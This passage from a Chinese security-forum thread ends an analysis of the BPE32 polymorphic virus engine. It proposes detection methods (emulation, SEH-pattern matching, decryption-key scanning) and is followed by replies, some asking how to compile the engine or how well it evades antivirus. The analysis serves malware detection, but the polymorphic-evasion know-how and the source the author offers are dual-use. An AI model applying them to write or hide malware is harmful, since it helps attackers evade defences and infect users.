rjunk        endp
BPE32     EndP                        ;BPE32 ends here

四 检测方案
   针对BPE32产生的代码大致可以有三种检测方案(当然也可能有更多);
   1 通过VM仿真执行,解密后按特征码方式匹配,仿真结束的标志可以通过连续内存操作结束来判断。
   2 通过识别SEH部分来检测是否被bpe32多态引擎感染过,首先可以通过带通配符的检测方法,定位到seh部分,当识别到inc byte ptr [Rx] 引发异常,及后面的jmp start时,即可判断被感染(当然该方案不准确,存在误报)。
   3 如果方案1的特征匹配失效过,可对vm仿真解密后buff进行算法扫描,具体方案,记录第一个call指令后的地址设为v_callnext,而后搜索重定位代码,之后如发现连续的寄存器操作则计算该操作值(大家可查看前面的解析,执行到这一步时是进行解密前源数据的获取,当然这其中包含插入的垃圾指令)以上面的代码为例,执行的是如下代码:
                  0040203A    68 CB3B97F7     PUSH F7973BCB                                                                         ;构造一个随机加密的密钥,使得ecx指向最初的一个call调用
                        0040203F    59              POP ECX                        ;这里ecx寄存器是随机生成的
                        00402040    81F1 CE1BD7F7   XOR ECX,F7D71BCE
if(v_callnext == F7973BCB ^ F7D71BCE)
{
   printf("found Polymorphic virus\n");
}         
   该搜索过程需要设置步长(100 字节以内就可以),方案3检测速度慢,同样存在误报问题。
         以上就是针对BPE32的多态引擎分析,如有分析不正确的地方还望大家不吝指正,也可通过邮件我们一起交流。                        
    附参考文献:
[1] Benny‘s .《Benny's Polymorphic Engine for Win32》
大家感兴趣可以一起讨论,或者mail,附上bpe32源代码。
neineit@gmail.com

[公告]安全服务和外包项目请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (21)
likunkun 1 2008-11-27 14:02
2
0
沙发!!!!!!!!!!!!
metalqiang 2008-11-27 14:10
3
0
标记下,以后好好学习下
cntrump 13 2008-11-27 14:13
4
0
那么快呀,看来落后了。。。。。。。。。
better 2 2008-11-27 15:18
5
0
太强了……要好好学习
yxhxiaoqi 1 2008-11-27 15:53
6
0
牛人无敌!!!
飞雪 1 2008-11-27 18:03
7
0
多谢分享,对我很有帮助。之前只知道理论,却没有如此透彻的剖析过,非常好的东西。
lunglungyu 1 2008-11-27 19:06
8
0
按照Benny's的描述,BPE32引擎有如下特点:
1 可以通过创建SHE来干扰一些AV

RDTCS?RDTSC?

不知道是不是错了?!

其他的正在试试理解
xhK 3 2008-11-27 19:29
9
0
好像在安焦上看到过
火影 11 2008-11-27 21:32
10
0
很复杂的东西
neineit 10 2008-11-28 09:40
11
0
to :lunglungyu

应该是RDTSC,此处是benny's笔误,因是分析他的代码,所以保留原来的写法。
这两个指令偶也经常看错,多谢提醒。
fireworld 2008-11-28 12:51
12
0
[QUOTE=;]...[/QUOTE]
楼主是否可以提供下 文章的pdf格式下载的  ^_^ 喜欢pdf格式的东东
WINIO 2008-11-28 13:46
13
0
可以通过创建SHE来干扰一些AV

...............
太难了 2008-11-28 16:35
14
0
好,顶起来。。。。。。。。。。。。。。。
gry 2008-11-29 00:40
15
0
多谢分享,对我很有帮助
SkyJack 2008-11-29 03:04
16
0
多谢lz分享.
neineit 10 2008-11-29 11:24
17
0
传了pdf版,修正了一些笔误。
lemoncoral 2008-11-29 12:11
18
0
学习了,不过很艰深的话题啊
buka 2008-11-29 13:43
19
0
头有点晕  我是新手。。
lingaonbvm 2008-11-29 16:11
20
0
看不懂啊,不过我感觉应该是poly里面比较全的文章了,这引擎具体怎么用的呢?编译方法。
saga 2 2009-1-18 16:22
21
0
不错  期待neineit多发点  这方面的好资料

就对抗av软件的效果有多大  

不知neineit有什么经验  能否分享哈
SnowFox 2009-1-27 14:26
22
0
好文章,学习了
游客
登录 | 注册 方可回帖
返回